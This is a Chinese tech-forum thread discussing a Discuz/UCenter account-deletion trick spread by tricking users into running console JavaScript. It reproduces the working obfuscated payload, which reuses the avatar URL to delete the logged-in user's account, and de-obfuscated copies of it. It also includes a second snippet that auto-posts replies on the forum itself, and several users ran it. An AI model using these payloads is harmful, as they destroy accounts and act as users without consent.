Event

discuz 漏洞真 j8 多 有人在我论坛搞事情。。。传播一段 js 把我论坛搞炸了

  •  
  •   Event · Nov 11, 2018 via Android · 10589 views
    This topic created in 2919 days ago, the information mentioned may be changed or developed.
    这两天有人在我站水帖。。。。。告诉别的用户在 console 执行一段脚本能领到积分。。结果他们自己账号变得乱七八糟的了。。。
    废话不说。。。上代码 你们自己看看

    location['\x68\x72\x65\x66']=((d=(await(await fetch("\x2e\x2f\x68\x6f\x6d\x65\x2e\x70\x68\x70\x3f\x6d\x6f\x64\x3d\x73\x70\x61\x63\x65\x63\x70\x26\x61\x63\x3d\x61\x76\x61\x74\x61\x72",{credentials:'\x69\x6e\x63\x6c\x75\x64\x65'}))['\x74\x65\x78\x74']())['\x6d\x61\x74\x63\x68'](/\/\/\S+\/images\/ca\S+&ag/g)[0]['\x72\x65\x70\x6c\x61\x63\x65']('\x69\x6d\x61\x67\x65\x73\x2f\x63\x61\x6d\x65\x72\x61\x2e\x73\x77\x66\x3f','\x3f\x6d\x3d\x75\x73\x65\x72\x26\x61\x3d\x64\x65\x6c\x65\x74\x65\x26'))&&confirm('\u7eff\u5b9d\u77f3'))?d:'';
    56 replies  •  2020-11-29 13:10:48 +08:00
    Event
    Event
    OP
    Nov 11, 2018 via Android
    1
    具体账号发生了什么神奇的变化。。 你们自己试试看吧 我很无奈 。。
    Event
    Event
    OP
    Nov 11, 2018 via Android
    2
    而且貌似不是软层的。。。直接从 sql 层干掉了?
    Event
    Event
    OP
    Nov 11, 2018 via Android
    3
    哦对。。输完后退出帐号 重新登录才能看到效果
    chinvo
    chinvo
    Nov 11, 2018 via iPhone
    4
    suit
    suit
    Nov 11, 2018
    5
    没有变化
    Event
    Event
    OP
    Nov 11, 2018 via Android
    6
    @suit 重新登录看看你就知道了
    Event
    Event
    OP
    Nov 11, 2018 via Android
    7
    @chinvo
    emmmm 咋了 这里不允许讨论 bug 吗。。。
    suit
    suit
    Nov 11, 2018
    8
    @Event 已经重登了
    Event
    Event
    OP
    Nov 11, 2018 via Android
    9
    @suit 我在 dz 的 oschina 里面找到了 issue。。。貌似是个 ucenter 的 bug
    Event
    Event
    OP
    Nov 11, 2018 via Android
    10
    @suit 貌似是要 chrome 才行 会弹出一个确认框。。
    chinvo
    chinvo
    Nov 11, 2018 via iPhone
    11
    @chinvo #4 抱歉,你这种描述方式太像那些 6 和彩的假新闻广告了,一时误认
    ScotGu
    ScotGu
    Nov 11, 2018
    12
    @Event #7 并不是不允许讨论 BUG。
    而是你的讨论方式有点操蛋。

    在 DZ 论坛执行这段代码基本就是“自杀”。而你怂恿他人去尝试执行。并且未加任何警示标识和标识。
    V2 是一个被秒收录的站点,很多小白来这里学习,如果小白好奇去执行了这段脚本,由此造成的后或你会负责么?

    @Livid 建议屏蔽危险代码。
    t6attack
    t6attack
    Nov 11, 2018
    13
    location['href'] = ((d = (await(await fetch("./home.php?mod=spacecp&ac=avatar", {
    credentials: 'include'
    }))['text']())['match'](/\/\/\S+\/images\/ca\S+&ag/g)[0]['replace']('images/camera.swf?', '?m=user&a=delete&')) && confirm('绿宝石')) ? d : '';
    t6attack
    t6attack
    Nov 11, 2018
    14
    让用户自己执行动作代码,这,,这算漏洞?!下面代码可以在 v2 执行
    $("\x23\x72\x65\x70\x6c\x79\x5f\x63\x6f\x6e\x74\x65\x6e\x74")["\x76\x61\x6c"]("\u6240\u4ee5\u4f60\u4eec\u5230\u5e95\u5acc\x4a\x53\u6743\u9650\u592a\u5927\u8fd8\u662f\u592a\u5c0f\u4e86\uff1f\uff1f");$("\x23\x72\x65\x70\x6c\x79\x5f\x63\x6f\x6e\x74\x65\x6e\x74")["\x70\x61\x72\x65\x6e\x74"]()["\x73\x75\x62\x6d\x69\x74"]();
    mengyaoss77
    mengyaoss77
    Nov 12, 2018
    15
    所以你们到底嫌 JS 权限太大还是太小了??
    dot2017
    dot2017
    Nov 12, 2018❤️1
    16
    这个 bug 老早就有了,利用 uc 头像删除自己的账号。临时解决办法是切换到 H5 头像模式,X3.4 自带了
    Event
    Event
    OP
    Nov 12, 2018
    17
    @ScotGu 是的。。很有危害性 所以我混淆了啊 防止别人乱改

    @t6attack 重要的不是执行 是这个功能 毁灭性的
    Event
    Event
    OP
    Nov 12, 2018
    18
    @mengyaoss77 是程序权限没控制好
    Perry
    Perry
    Nov 12, 2018 via iPhone
    19
    这是 social engineering 不是 bug
    mengyaoss77
    mengyaoss77
    Nov 12, 2018
    20
    @Event #18 这是我执行 14 楼的代码自动回复的
    Event
    Event
    OP
    Nov 12, 2018
    21
    @Perry 感觉小白不清楚会出事情
    airyland
    airyland
    Nov 12, 2018
    22
    所以你们到底嫌 JS 权限太大还是太小了??
    airyland
    airyland
    Nov 12, 2018
    23
    试了楼上的代码,自动发出回复了。。
    crab
    crab
    Nov 12, 2018❤️3
    25
    KasuganoSoras
    KasuganoSoras
    Nov 12, 2018 via Android
    26
    这个 bug 老早就有了,我成功删了自己在很多论坛的账号。
    不过我现在都自己开发论坛了,不用 Discuz
    penisulaS
    penisulaS
    Nov 12, 2018
    27
    所以你们到底嫌 JS 权限太大还是太小了??
    murmur
    murmur
    Nov 12, 2018
    28
    为什么那么多网站都在 console 里打东西提醒用户不要执行陌生人发来的代码
    ThirdFlame
    ThirdFlame
    Nov 12, 2018
    29
    人肉型 CSRF
    lixueyu001
    lixueyu001
    Nov 12, 2018
    30
    所以你们到底嫌 JS 权限太大还是太小了??
    dumbass
    dumbass
    Nov 12, 2018
    31
    所以你们到底嫌 JS 权限太大还是太小了??
    v9ex
    v9ex
    Nov 12, 2018
    32
    $("\x23\x72\x65\x70\x6c\x79\x5f\x63\x6f\x6e\x74\x65\x6e\x74")["\x76\x61\x6c"]("\u6240\u4ee5\u4f60\u4eec\u5230\u5e95\u5acc\x4a\x53\u6743\u9650\u592a\u5927\u8fd8\u662f\u592a\u5c0f\u4e86\uff1f\uff1f");$("\x23\x72\x65\x70\x6c\x79\x5f\x63\x6f\x6e\x74\x65\x6e\x74")["\x70\x61\x72\x65\x6e\x74"]()["\x73\x75\x62\x6d\x69\x74"]();
    Removable
    Removable
    Nov 12, 2018
    33
    所以你们到底嫌 JS 权限太大还是太小了??
    respect11
    respect11
    Nov 12, 2018 via iPhone
    34
    所以你们到底嫌 JS 权限太大还是太小了??
    s527332935
    s527332935
    Nov 12, 2018
    35
    所以你们到底嫌 JS 权限太大还是太小了??
    Lebal
    Lebal
    Nov 12, 2018
    36
    所以你们到底嫌 JS 权限太大还是太小了??
    FakeLeung
    FakeLeung
    Nov 12, 2018
    37
    location['href']=(
    (d=(await(await fetch("./home.php?mod=spacecp&ac=avatar", {credentials: 'include'})['text']())['match'](/\/\/\S+\/images\/ca\S+&ag/g)[0]['replace']('images/camera.swf?', '?m=user&a=delete&')&&confirm('绿宝石'))?d:'';



    来来来,大神们分析一下,这是 js 的问题还是后端的问题?
    @respect11
    @Removable
    @bojackhorseman
    @lixueyu001
    @airyland
    autoxbc
    autoxbc
    Nov 12, 2018
    38
    其实是人的问题,在微利下人就失去理智,罔顾不懂的事情不要做的常识,跟技术没半点关系
    crystom
    crystom
    Nov 12, 2018
    39
    所以你们到底嫌 JS 权限太大还是太小了??
    cookii
    cookii
    Nov 12, 2018
    40
    所以你们到底嫌 JS 权限太大还是太小了??
    exceloo
    exceloo
    Nov 12, 2018
    41
    这和 js 有半毛钱关系,只是诱导用户自己去删除帐号罢了。前端发的请求,js 都能模拟,用户自己作死去跑莫名其妙的代码你再牛逼也防不住啊。客户端执行的,又不是在服务端,还能咋办
    simple11
    simple11
    Nov 12, 2018
    42
    所以你们到底嫌 JS 权限太大还是太小了??
    Event
    Event
    OP
    Nov 12, 2018
    43
    @exceloo 可问题是为何会给用户删除自己账号的权限 而且没有什么防范
    hero2040407
    hero2040407
    Nov 12, 2018
    44
    所以说删除用户这种操作需要一个提醒吧,点一下就直接删掉了?
    exceloo
    exceloo
    Nov 12, 2018
    45
    @Event hmmmm 这的确是个问题
    sparkssssssss
    sparkssssssss
    Nov 12, 2018
    46
    我擦,楼主好歹说下,运行的后果啊,我刚运行了下把我的账号给删掉了..................
    cname
    cname
    Nov 12, 2018
    47
    想利用这个代码删掉那些论坛账号的,但是我执行了不管用,跳转到 500 了。是程序版本问题?
    kn007
    kn007
    Nov 12, 2018
    48
    好久前就见过了,DZ 一直没修复。
    roryzh
    roryzh
    Nov 12, 2018
    49
    所以你们到底嫌 JS 权限太大还是太小了??
    Jiaming
    Jiaming
    Nov 13, 2018
    50
    所以你们到底嫌 JS 权限太大还是太小了??
    roryzh
    roryzh
    Nov 13, 2018
    51
    所以你们到底嫌 JS 权限太大还是太小了??
    Fakey2
    Fakey2
    Dec 7, 2018
    52
    这不是漏洞,这只是诱导类似钓鱼了,安全意识薄弱的人才会上当,根本也不是 DZ 本身的漏洞。。。我让你在 console 执行你就执行,这不是傻子行为么。。。所以跟 DZ 本身没关系。。。
    xemtof
    xemtof
    Jan 9, 2019
    53
    所以你们到底嫌 JS 权限太大还是太小了??
    uyhsefwa
    uyhsefwa
    May 16, 2019
    54
    所以你们到底嫌 JS 权限太大还是太小了??
    xmdhs
    xmdhs
    Feb 26, 2020
    55
    所以你们到底嫌 JS 权限太大还是太小了??
    binnerchen
    binnerchen
    Nov 29, 2020
    56
    所以你们到底嫌 JS 权限太大还是太小了??
    About   ·   Help   ·   Advertise   ·   Blog   ·   API   ·   FAQ   ·   Privacy   ·   Solana   ·   1150 Online   Highest 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 78ms · UTC 16:16 · PVG 00:16 · LAX 08:16 · JFK 11:16
    ♥ Do have faith in what you're doing.